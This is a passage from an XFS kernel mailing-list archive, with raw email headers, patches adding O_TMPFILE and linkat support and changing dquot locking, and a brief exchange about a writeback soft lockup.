verify=NO) for ; Fri, 13 Dec 2013 06:28:51 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.110.154 Received: from /spool/local by e36.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 13 Dec 2013 07:28:17 -0700 Received: from d03dlp01.boulder.ibm.com (9.17.202.177) by e36.co.us.ibm.com (192.168.1.136) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 13 Dec 2013 07:28:16 -0700 Received: from b03cxnp08027.gho.boulder.ibm.com (b03cxnp08027.gho.boulder.ibm.com [9.17.130.19]) by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 1CA221FF001E for ; Fri, 13 Dec 2013 07:27:52 -0700 (MST) Received: from d03av04.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by b03cxnp08027.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBDESEUv6357418 for ; Fri, 13 Dec 2013 15:28:14 +0100 Received: from d03av04.boulder.ibm.com (loopback [127.0.0.1]) by d03av04.boulder.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBDESE8D015798 for ; Fri, 13 Dec 2013 07:28:14 -0700 Received: from us.ibm.com ([9.115.122.226]) by d03av04.boulder.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBDESAMm015539; Fri, 13 Dec 2013 07:28:11 -0700 Received: by us.ibm.com (sSMTP sendmail emulation); Fri, 13 Dec 2013 22:28:05 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, Zhi Yong Wu Subject: [PATCH 3/5] xfs: add xfs_create_tmpfile() for O_TMPFILE support Date: Fri, 13 Dec 2013 22:27:51 +0800 X-ASG-Orig-Subj: [PATCH 3/5] xfs: add xfs_create_tmpfile() for O_TMPFILE support Message-Id: <1386944873-16796-4-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 In-Reply-To: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121314-3532-0000-0000-000003D42F1D X-Barracuda-Connect: e36.co.us.ibm.com[32.97.110.154] X-Barracuda-Start-Time: 1386944931 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143067 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu The function is used to create one O_TMPFILE file. For more info, please refer to: http://oss.sgi.com/archives/xfs/2013-08/msg00339.html Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_inode.c | 106 +++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_inode.h | 2 + fs/xfs/xfs_shared.h | 4 +- fs/xfs/xfs_trans_resv.c | 31 ++++++++++++++ fs/xfs/xfs_trans_resv.h | 2 + 5 files changed, 144 insertions(+), 1 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 71a8186..48e09c5 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1342,6 +1342,112 @@ xfs_create( } int +xfs_create_tmpfile( + struct xfs_inode *dp, + struct xfs_mount *mp, + umode_t mode, + dev_t rdev, + struct xfs_inode **ipp) +{ + struct xfs_inode *ip = NULL; + struct xfs_trans *tp = NULL; + int error; + uint cancel_flags = XFS_TRANS_RELEASE_LOG_RES; + struct xfs_dquot *udqp = NULL; + struct xfs_dquot *gdqp = NULL; + struct xfs_dquot *pdqp = NULL; + struct xfs_trans_res *tres; + uint resblks; + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + /* + * Make sure that we have allocated dquot(s) on disk. + */ + error = xfs_qm_vop_dqalloc(dp, mp, xfs_kuid_to_uid(current_fsuid()), + xfs_kgid_to_gid(current_fsgid()), + xfs_get_initial_prid(dp), + XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, + &udqp, &gdqp, &pdqp); + if (error) + return error; + + resblks = XFS_IALLOC_SPACE_RES(mp); + tp = xfs_trans_alloc(mp, XFS_TRANS_CREATE_TMPFILE); + + tres = &M_RES(mp)->tr_create_tmpfile; + error = xfs_trans_reserve(tp, tres, resblks, 0); + if (error == ENOSPC) { + /* No space at all so try a "no-allocation" reservation */ + resblks = 0; + error = xfs_trans_reserve(tp, tres, 0, 0); + } + if (error) { + cancel_flags = 0; + goto out_trans_cancel; + } + + error = xfs_trans_reserve_quota(tp, mp, udqp, gdqp, + pdqp, resblks, 1, 0); + if (error) + goto out_trans_cancel; + + error = xfs_dir_ialloc(&tp, NULL, mode, 0, rdev, + XFS_PROJID_DEFAULT, resblks > 0, + &ip, NULL); + if (error) { + if (error == ENOSPC) + goto out_trans_cancel; + goto out_trans_abort; + } + + if (mp->m_flags & XFS_MOUNT_WSYNC) + xfs_trans_set_sync(tp); + + /* + * Attach the dquot(s) to the inodes and modify them incore. + * These ids of the inode couldn't have changed since the new + * inode has been locked ever since it was created. + */ + xfs_qm_vop_create_dqattach(tp, ip, udqp, gdqp, pdqp); + + error = xfs_iunlink(tp, ip); + if (error) + goto out_trans_abort; + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + goto out_release_inode; + + xfs_qm_dqrele(udqp); + xfs_qm_dqrele(gdqp); + xfs_qm_dqrele(pdqp); + + *ipp = ip; + return 0; + + out_trans_abort: + cancel_flags |= XFS_TRANS_ABORT; + out_trans_cancel: + xfs_trans_cancel(tp, cancel_flags); + out_release_inode: + /* + * Wait until after the current transaction is aborted to + * release the inode. This prevents recursive transactions + * and deadlocks from xfs_inactive. + */ + if (ip) + IRELE(ip); + + xfs_qm_dqrele(udqp); + xfs_qm_dqrele(gdqp); + xfs_qm_dqrele(pdqp); + + return error; +} + +int xfs_link( xfs_inode_t *tdp, xfs_inode_t *sip, diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 9e6efccb..5699cc6 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -323,6 +323,8 @@ int xfs_lookup(struct xfs_inode *dp, struct xfs_name *name, struct xfs_inode **ipp, struct xfs_name *ci_name); int xfs_create(struct xfs_inode *dp, struct xfs_name *name, umode_t mode, xfs_dev_t rdev, struct xfs_inode **ipp); +int xfs_create_tmpfile(struct xfs_inode *dp, struct xfs_mount *mp, + umode_t mode, xfs_dev_t rdev, struct xfs_inode **ipp); int xfs_remove(struct xfs_inode *dp, struct xfs_name *name, struct xfs_inode *ip); int xfs_link(struct xfs_inode *tdp, struct xfs_inode *sip, diff --git a/fs/xfs/xfs_shared.h b/fs/xfs/xfs_shared.h index 8c5035a1..4484e51 100644 --- a/fs/xfs/xfs_shared.h +++ b/fs/xfs/xfs_shared.h @@ -104,7 +104,8 @@ extern const struct xfs_buf_ops xfs_symlink_buf_ops; #define XFS_TRANS_SB_COUNT 41 #define XFS_TRANS_CHECKPOINT 42 #define XFS_TRANS_ICREATE 43 -#define XFS_TRANS_TYPE_MAX 43 +#define XFS_TRANS_CREATE_TMPFILE 44 +#define XFS_TRANS_TYPE_MAX 44 /* new transaction types need to be reflected in xfs_logprint(8) */ #define XFS_TRANS_TYPES \ @@ -112,6 +113,7 @@ extern const struct xfs_buf_ops xfs_symlink_buf_ops; { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ { XFS_TRANS_INACTIVE, "INACTIVE" }, \ { XFS_TRANS_CREATE, "CREATE" }, \ + { XFS_TRANS_CREATE_TMPFILE, "CREATE_TMPFILE" }, \ { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ { XFS_TRANS_REMOVE, "REMOVE" }, \ diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 2fd59c0..04519a9 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -344,6 +344,32 @@ xfs_calc_create_reservation( } /* + * For adding an inode to unlinked list we can modify: + * the agi hash list: sector size + * the unlinked inode: inode size + */ +STATIC uint +xfs_calc_iunlink_add_reservation(xfs_mount_t *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + xfs_calc_inode_res(mp, 1); +} + +STATIC uint +xfs_calc_create_tmpfile_reservation( + struct xfs_mount *mp) +{ + uint res = XFS_DQUOT_LOGRES(mp); + + if (xfs_sb_version_hascrc(&mp->m_sb)) + res += xfs_calc_icreate_resv_alloc(mp); + else + res += xfs_calc_create_resv_alloc(mp); + + return res + xfs_calc_iunlink_add_reservation(mp); +} + +/* * Making a new directory is the same as creating a new file. */ STATIC uint @@ -729,6 +755,11 @@ xfs_trans_resv_calc( resp->tr_create.tr_logcount = XFS_CREATE_LOG_COUNT; resp->tr_create.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + resp->tr_create_tmpfile.tr_logres = + xfs_calc_create_tmpfile_reservation(mp); + resp->tr_create_tmpfile.tr_logcount = XFS_CREATE_TMPFILE_LOG_COUNT; + resp->tr_create_tmpfile.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + resp->tr_mkdir.tr_logres = xfs_calc_mkdir_reservation(mp); resp->tr_mkdir.tr_logcount = XFS_MKDIR_LOG_COUNT; resp->tr_mkdir.tr_logflags |= XFS_TRANS_PERM_LOG_RES; diff --git a/fs/xfs/xfs_trans_resv.h b/fs/xfs/xfs_trans_resv.h index de7de9a..285621d 100644 --- a/fs/xfs/xfs_trans_resv.h +++ b/fs/xfs/xfs_trans_resv.h @@ -38,6 +38,7 @@ struct xfs_trans_resv { struct xfs_trans_res tr_remove; /* unlink trans */ struct xfs_trans_res tr_symlink; /* symlink trans */ struct xfs_trans_res tr_create; /* create trans */ + struct xfs_trans_res tr_create_tmpfile; /* create O_TMPFILE trans */ struct xfs_trans_res tr_mkdir; /* mkdir trans */ struct xfs_trans_res tr_ifree; /* inode free trans */ struct xfs_trans_res tr_ichange; /* inode update trans */ @@ -100,6 +101,7 @@ struct xfs_trans_resv { #define XFS_ITRUNCATE_LOG_COUNT 2 #define XFS_INACTIVE_LOG_COUNT 2 #define XFS_CREATE_LOG_COUNT 2 +#define XFS_CREATE_TMPFILE_LOG_COUNT 2 #define XFS_MKDIR_LOG_COUNT 3 #define XFS_SYMLINK_LOG_COUNT 3 #define XFS_REMOVE_LOG_COUNT 2 -- 1.7.6.5 From zwu.kernel@gmail.com Fri Dec 13 08:29:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 536E729E1F for ; Fri, 13 Dec 2013 08:29:33 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 481BD304077 for ; Fri, 13 Dec 2013 06:29:27 -0800 (PST) X-ASG-Debug-ID: 1386944935-04cb6c537d70f360001-NocioJ Received: from e8.ny.us.ibm.com (e8.ny.us.ibm.com [32.97.182.138]) by cuda.sgi.com with ESMTP id sDgnuZ8SQ5SUereM (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 06:28:57 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.182.138 Received: from /spool/local by e8.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 13 Dec 2013 09:28:25 -0500 Received: from d01dlp01.pok.ibm.com (9.56.250.166) by e8.ny.us.ibm.com (192.168.1.108) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 13 Dec 2013 09:28:23 -0500 Received: from b01cxnp23032.gho.pok.ibm.com (b01cxnp23032.gho.pok.ibm.com [9.57.198.27]) by d01dlp01.pok.ibm.com (Postfix) with ESMTP id C21EA38C8045 for ; Fri, 13 Dec 2013 09:28:20 -0500 (EST) Received: from d01av04.pok.ibm.com (d01av04.pok.ibm.com [9.56.224.64]) by b01cxnp23032.gho.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBDESMNY42467424 for ; Fri, 13 Dec 2013 14:28:22 GMT Received: from d01av04.pok.ibm.com (localhost [127.0.0.1]) by d01av04.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBDESMkN006623 for ; Fri, 13 Dec 2013 09:28:22 -0500 Received: from us.ibm.com ([9.115.122.226]) by d01av04.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBDESJfk006258; Fri, 13 Dec 2013 09:28:20 -0500 Received: by us.ibm.com (sSMTP sendmail emulation); Fri, 13 Dec 2013 22:28:14 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, Zhi Yong Wu Subject: [PATCH 5/5] xfs: allow linkat() on O_TMPFILE files Date: Fri, 13 Dec 2013 22:27:53 +0800 X-ASG-Orig-Subj: [PATCH 5/5] xfs: allow linkat() on O_TMPFILE files Message-Id: <1386944873-16796-6-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 In-Reply-To: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121314-0320-0000-0000-000001F7EF3D X-Barracuda-Connect: e8.ny.us.ibm.com[32.97.182.138] X-Barracuda-Start-Time: 1386944937 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143067 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu Enable O_TMPFILE support in linkat(). For more info, please refer to: http://oss.sgi.com/archives/xfs/2013-08/msg00341.html Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_inode.c | 21 ++++++++++++++++++--- fs/xfs/xfs_trans_resv.c | 20 ++++++++++++++++++++ fs/xfs/xfs_trans_resv.h | 2 ++ 3 files changed, 40 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 48e09c5..2e1fd96 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -62,6 +62,8 @@ kmem_zone_t *xfs_inode_zone; STATIC int xfs_iflush_int(xfs_inode_t *, xfs_buf_t *); +STATIC int xfs_iunlink_remove(xfs_trans_t *, xfs_inode_t *); + /* * helper function to extract extent size hint from inode */ @@ -1119,7 +1121,7 @@ xfs_bumplink( { xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_CHG); - ASSERT(ip->i_d.di_nlink > 0); + ASSERT(ip->i_d.di_nlink > 0 || (VFS_I(ip)->i_state & I_LINKABLE)); ip->i_d.di_nlink++; inc_nlink(VFS_I(ip)); if ((ip->i_d.di_version == 1) && @@ -1455,6 +1457,7 @@ xfs_link( { xfs_mount_t *mp = tdp->i_mount; xfs_trans_t *tp; + struct xfs_trans_res *tres; int error; xfs_bmap_free_t free_list; xfs_fsblock_t first_block; @@ -1480,10 +1483,16 @@ xfs_link( tp = xfs_trans_alloc(mp, XFS_TRANS_LINK); cancel_flags = XFS_TRANS_RELEASE_LOG_RES; resblks = XFS_LINK_SPACE_RES(mp, target_name->len); - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_link, resblks, 0); + + if (sip->i_d.di_nlink == 0) + tres = &M_RES(mp)->tr_link_tmpfile; + else + tres = &M_RES(mp)->tr_link; + + error = xfs_trans_reserve(tp, tres, resblks, 0); if (error == ENOSPC) { resblks = 0; - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_link, 0, 0); + error = xfs_trans_reserve(tp, tres, 0, 0); } if (error) { cancel_flags = 0; @@ -1512,6 +1521,12 @@ xfs_link( xfs_bmap_init(&free_list, &first_block); + if (sip->i_d.di_nlink == 0) { + error = xfs_iunlink_remove(tp, sip); + if (error) + goto abort_return; + } + error = xfs_dir_createname(tp, tdp, target_name, sip->i_ino, &first_block, &free_list, resblks); if (error) diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 04519a9..f2da7f4 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -228,6 +228,22 @@ xfs_calc_link_reservation( XFS_FSB_TO_B(mp, 1)))); } +/* For creating a link to an O_TMPFILE inode, except modifying + * those metadata for regular inode, we still need to remove an inode + * from unlinked list at first. That is, we can modify: + * the agi hash list and counters: sector size + * the on disk inode before ours in the agi hash list: inode cluster size + */ +STATIC uint +xfs_calc_link_tmpfile_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_link_reservation(mp) + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + MAX((__uint16_t)XFS_FSB_TO_B(mp, 1), + (__uint16_t)XFS_INODE_CLUSTER_SIZE(mp)); +} + /* * For removing a directory entry we can modify: * the parent directory inode: inode size @@ -743,6 +759,10 @@ xfs_trans_resv_calc( resp->tr_link.tr_logcount = XFS_LINK_LOG_COUNT; resp->tr_link.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + resp->tr_link_tmpfile.tr_logres = xfs_calc_link_tmpfile_reservation(mp); + resp->tr_link_tmpfile.tr_logcount = XFS_LINK_TMPFILE_LOG_COUNT; + resp->tr_link_tmpfile.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + resp->tr_remove.tr_logres = xfs_calc_remove_reservation(mp); resp->tr_remove.tr_logcount = XFS_REMOVE_LOG_COUNT; resp->tr_remove.tr_logflags |= XFS_TRANS_PERM_LOG_RES; diff --git a/fs/xfs/xfs_trans_resv.h b/fs/xfs/xfs_trans_resv.h index 285621d..86a0daf 100644 --- a/fs/xfs/xfs_trans_resv.h +++ b/fs/xfs/xfs_trans_resv.h @@ -35,6 +35,7 @@ struct xfs_trans_resv { struct xfs_trans_res tr_itruncate; /* truncate trans */ struct xfs_trans_res tr_rename; /* rename trans */ struct xfs_trans_res tr_link; /* link trans */ + struct xfs_trans_res tr_link_tmpfile; /* link O_TMPFILE trans */ struct xfs_trans_res tr_remove; /* unlink trans */ struct xfs_trans_res tr_symlink; /* symlink trans */ struct xfs_trans_res tr_create; /* create trans */ @@ -106,6 +107,7 @@ struct xfs_trans_resv { #define XFS_SYMLINK_LOG_COUNT 3 #define XFS_REMOVE_LOG_COUNT 2 #define XFS_LINK_LOG_COUNT 2 +#define XFS_LINK_TMPFILE_LOG_COUNT 2 #define XFS_RENAME_LOG_COUNT 2 #define XFS_WRITE_LOG_COUNT 2 #define XFS_ADDAFORK_LOG_COUNT 2 -- 1.7.6.5 From davej@redhat.com Fri Dec 13 10:23:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2DDCC7F50 for ; Fri, 13 Dec 2013 10:23:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1DE97304067 for ; Fri, 13 Dec 2013 08:23:12 -0800 (PST) X-ASG-Debug-ID: 1386951785-04cbb04166713e50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id lBxMELZcq0R3yAj8 for ; Fri, 13 Dec 2013 08:23:08 -0800 (PST) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBDGMc84013225 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Dec 2013 11:22:39 -0500 Received: from gelk.kernelslacker.org (ovpn-113-191.phx2.redhat.com [10.3.113.191]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id rBDGMWpD010465 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Dec 2013 11:22:38 -0500 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.7) with ESMTP id rBDGMVYQ029946; Fri, 13 Dec 2013 11:22:31 -0500 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id rBDGMSHe029914; Fri, 13 Dec 2013 11:22:28 -0500 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Fri, 13 Dec 2013 11:22:28 -0500 From: Dave Jones To: Christoph Hellwig Cc: Dave Chinner , Linux Kernel , xfs@oss.sgi.com Subject: Re: XFS / writeback invoking soft lockup. Message-ID: <20131213162228.GA29908@redhat.com> X-ASG-Orig-Subj: Re: XFS / writeback invoking soft lockup. Mail-Followup-To: Dave Jones , Christoph Hellwig , Dave Chinner , Linux Kernel , xfs@oss.sgi.com References: <20131213071407.GA6527@redhat.com> <20131213104853.GS10988@dastard> <20131213111639.GD23546@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213111639.GD23546@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386951788 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Dec 13, 2013 at 03:16:39AM -0800, Christoph Hellwig wrote: > On Fri, Dec 13, 2013 at 09:48:53PM +1100, Dave Chinner wrote: > > All I can say is that there doesn't look to be any obvious signs > > that this is a XFS or writeback problem fom the stack trace, and > > without more information or a reproducable test case I'm not going > > to be able to understand the cause. > > > > Is the problem reproducable, or is it just a one-off? > > If it's reproducable it would be good to enable the xfs_writepage > tracepoint and get a trace-cmd log of it. I hit it pretty reliably last night. I'll make a note to look into it on monday with that enabled. Dave From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 10:30:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2F0767F3F for ; Fri, 13 Dec 2013 10:30:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1EFDC304064 for ; Fri, 13 Dec 2013 08:30:35 -0800 (PST) X-ASG-Debug-ID: 1386952209-04cb6c537c7145f0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id FJDwsAlj8taC7hVS (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 08:30:11 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrVcv-0006Qs-HS; Fri, 13 Dec 2013 16:30:09 +0000 Date: Fri, 13 Dec 2013 08:30:09 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: [PATCH 5/3] xfs: return unlocked dquots from xfs_qm_dqqet Message-ID: <20131213163009.GA20803@infradead.org> X-ASG-Orig-Subj: [PATCH 5/3] xfs: return unlocked dquots from xfs_qm_dqqet References: <1386841258-22183-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386841258-22183-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386952211 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143069 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- We generally don't need the dquot structure locked for the fast path operations, and we don't need the lock during lookup either. Signed-off-by: Christoph Hellwig diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index f17350d..7da4097 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -689,8 +689,9 @@ error0: } /* - * Given the file system, inode OR id, and type (UDQUOT/GDQUOT), return a - * a locked dquot, doing an allocation (if requested) as needed. + * Given the file system, id, type and optionally inode, return a an unlocked + * dquot, doing an allocation if requested and needed. + * * When both an inode and an id are given, the inode's id takes precedence. * That is, if the id changes while we don't hold the ilock inside this * function, the new dquot is returned, not necessarily the one requested @@ -739,9 +740,7 @@ restart: mutex_lock(&qi->qi_tree_lock); dqp = radix_tree_lookup(tree, id); if (dqp) { - xfs_dqlock(dqp); if (dqp->dq_flags & XFS_DQ_FREEING) { - xfs_dqunlock(dqp); mutex_unlock(&qi->qi_tree_lock); trace_xfs_dqget_freeing(dqp); delay(1); @@ -824,7 +823,6 @@ restart: /* * We return a locked, referenced dquot to the caller. */ - xfs_dqlock(dqp); qi->qi_dquots++; mutex_unlock(&qi->qi_tree_lock); diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index 843ab07..985b583 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -395,7 +395,6 @@ xfs_qm_dqattach_one( * that the dquot returned is the one that should go in the inode. */ *IO_idqpp = dqp; - xfs_dqunlock(dqp); return 0; } @@ -1142,6 +1141,8 @@ xfs_qm_quotacheck_dqadjust( trace_xfs_dqadjust(dqp); + xfs_dqlock(dqp); + /* * Adjust the inode count and the block count to reflect this inode's * resource usage. @@ -1679,10 +1680,6 @@ xfs_qm_vop_dqalloc( ASSERT(error != ENOENT); return error; } - /* - * Get the ilock in the right order. - */ - xfs_dqunlock(uq); lockflags = XFS_ILOCK_SHARED; xfs_ilock(ip, lockflags); } else { @@ -1706,7 +1703,6 @@ xfs_qm_vop_dqalloc( ASSERT(error != ENOENT); goto error_rele; } - xfs_dqunlock(gq); lockflags = XFS_ILOCK_SHARED; xfs_ilock(ip, lockflags); } else { @@ -1726,7 +1722,6 @@ xfs_qm_vop_dqalloc( ASSERT(error != ENOENT); goto error_rele; } - xfs_dqunlock(pq); lockflags = XFS_ILOCK_SHARED; xfs_ilock(ip, lockflags); } else { diff --git a/fs/xfs/xfs_qm_bhv.c b/fs/xfs/xfs_qm_bhv.c index e9be63a..c8fda48 100644 --- a/fs/xfs/xfs_qm_bhv.c +++ b/fs/xfs/xfs_qm_bhv.c @@ -75,6 +75,7 @@ xfs_qm_statvfs( xfs_dquot_t *dqp; if (!xfs_qm_dqget(mp, NULL, xfs_get_projid(ip), XFS_DQ_PROJ, 0, &dqp)) { + xfs_dqlock(dqp); xfs_fill_statvfs_from_dquot(statp, dqp); xfs_qm_dqput(dqp); } diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index 1e61cd4..94dadbe 100644 --- 